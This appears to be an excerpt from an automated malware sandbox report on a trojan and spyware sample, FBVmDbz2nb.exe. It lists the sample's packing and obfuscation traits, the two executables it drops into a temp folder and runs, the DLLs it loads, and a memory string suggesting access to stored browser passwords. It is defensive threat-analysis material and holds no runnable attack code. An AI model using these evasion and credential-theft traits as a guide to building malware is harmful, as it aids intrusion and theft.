Source: FBVmDbz2nb.exe, 00000000.00000003.1614374796.00000000063CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1610635882.00000000062DE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616008793.00000000064E4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1629429037.00000000062D8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1614858575.00000000064D1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620960513.0000000006406000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1615662747.00000000062DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1612043413.00000000064AF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607770231.00000000063A5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609973522.00000000063A7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609075001.00000000062DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619879375.00000000062DB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1636734449.00000000062E5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1603519571.00000000062E0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619023670.00000000062DC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1629924131.0000000006432000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605390495.0000000006383000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613870572.00000000062DA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1618659933.0000000006507000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1617478465.00000000062D9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601568133.000000000602A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616415558.00000000063DB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602330579.000000000604B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1643699874.0000000005EE6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601775872.0000000006096000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1611794571.00000000063C2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1606275253.00000000062E1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605664520.00000000062DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609834275.00000000062D8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1621326309.00000000062DE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1622852308.0000000006421000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609497078.00000000062E1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1615488970.00000000063DC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602172114.0000000006037000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1615837488.00000000063DB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604850518.00000000062D9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619280098.00000000063F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601933387.0000000005FC5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1603358408.000000000613D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608429499.00000000063A1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602543549.000000000604B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601775872.000000000602A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1603894122.0000000006138000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605902216.000000000638C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1631016913.00000000062DA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609213811.00000000063A6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620046338.00000000063F8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1617679212.00000000063F4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601568133.0000000005F56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1628836652.00000000062DE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1606497909.0000000006392000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608692407.00000000062D9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1606683446.00000000062DE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607631534.00000000062D6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608559716.0000000006470000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1621853577.00000000062E1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601568133.0000000005FBF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1615304722.00000000062DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608963839.0000000006471000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604475004.0000000006137000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607495491.00000000063A4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604600707.00000000062E0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601933387.0000000006037000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1612967894.00000000062E2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607072269.0000000006389000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613461628.00000000063CE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616214720.00000000062DA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1621614003.000000000641F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1618352816.00000000063E9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Uses 32bit PE files
Source: FBVmDbz2nb.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: FBVmDbz2nb.exe Static PE information: Section: ZLIB complexity 0.997418129280822
Source: FBVmDbz2nb.exe Static PE information: Section: truimtqs ZLIB complexity 0.9947763063369631
Source: FBVmDbz2nb.exe Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\225E7CNEQKY05J8BSS2KINA.exe.log Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Mutant created: NULL
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File created: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: FBVmDbz2nb.exe, 00000000.00000003.1418442668.0000000005E3B000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417596375.0000000005E57000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1443916575.0000000005ED1000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1443415208.0000000005E47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: FBVmDbz2nb.exe Virustotal: Detection: 53%
Source: FBVmDbz2nb.exe ReversingLabs: Detection: 57%
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File read: C:\Users\user\Desktop\FBVmDbz2nb.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\FBVmDbz2nb.exe "C:\Users\user\Desktop\FBVmDbz2nb.exe"
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process created: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe "C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe"
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process created: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe "C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe"
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process created: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe "C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe" Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process created: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe "C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe" Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: FBVmDbz2nb.exe Static file information: File size 1857536 > 1048576
Source: FBVmDbz2nb.exe Static PE information: Raw size of truimtqs is bigger than: 0x100000 < 0x19d400
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Unpacked PE file: 3.2.225E7CNEQKY05J8BSS2KINA.exe.2b0000.0.unpack :EW;.rsrc:W;.idata :W;brdofphe:EW;pzoalvov:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Unpacked PE file: 4.2.RBZFTNPOH3OCI4WNHGK52I3.exe.530000.0.unpack :EW;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr Static PE information: real checksum: 0x2ac9fa should be: 0x2b1d20
Source: FBVmDbz2nb.exe Static PE information: real checksum: 0x1c757b should be: 0x1c7fdf
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: real checksum: 0x2b4c84 should be: 0x2c0e47
PE file contains sections with non-standard names
Source: FBVmDbz2nb.exe Static PE information: section name:
Source: FBVmDbz2nb.exe Static PE information: section name: .idata
Source: FBVmDbz2nb.exe Static PE information: section name:
Source: FBVmDbz2nb.exe Static PE information: section name: truimtqs
Source: FBVmDbz2nb.exe Static PE information: section name: eplokceg
Source: FBVmDbz2nb.exe Static PE information: section name: .taggant
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr Static PE information: section name:
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr Static PE information: section name: .idata
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr Static PE information: section name: brdofphe
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr Static PE information: section name: pzoalvov
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr Static PE information: section name: .taggant
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: section name:
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: section name: .idata
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: section name: ynqricro
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: section name: wjlvyldl
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015ECF40 push eax; iretd 0_3_015ECF41
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015ECF40 push eax; iretd 0_3_015ECF41
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015EE964 push esi; retf 0_3_015EE98B
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015EE964 push esi; retf 0_3_015EE98B
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015F5924 push esi; retf 0_3_015F5927
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015F5924 push esi; retf 0_3_015F5927
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_0160518E push eax; retf 0005h 0_3_016052B9
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_0160518E push eax; retf 0005h 0_3_016052B9
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015C152F push cs; iretd 0_3_015C1530
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015C9020 push esi; iretd 0_3_015C9021
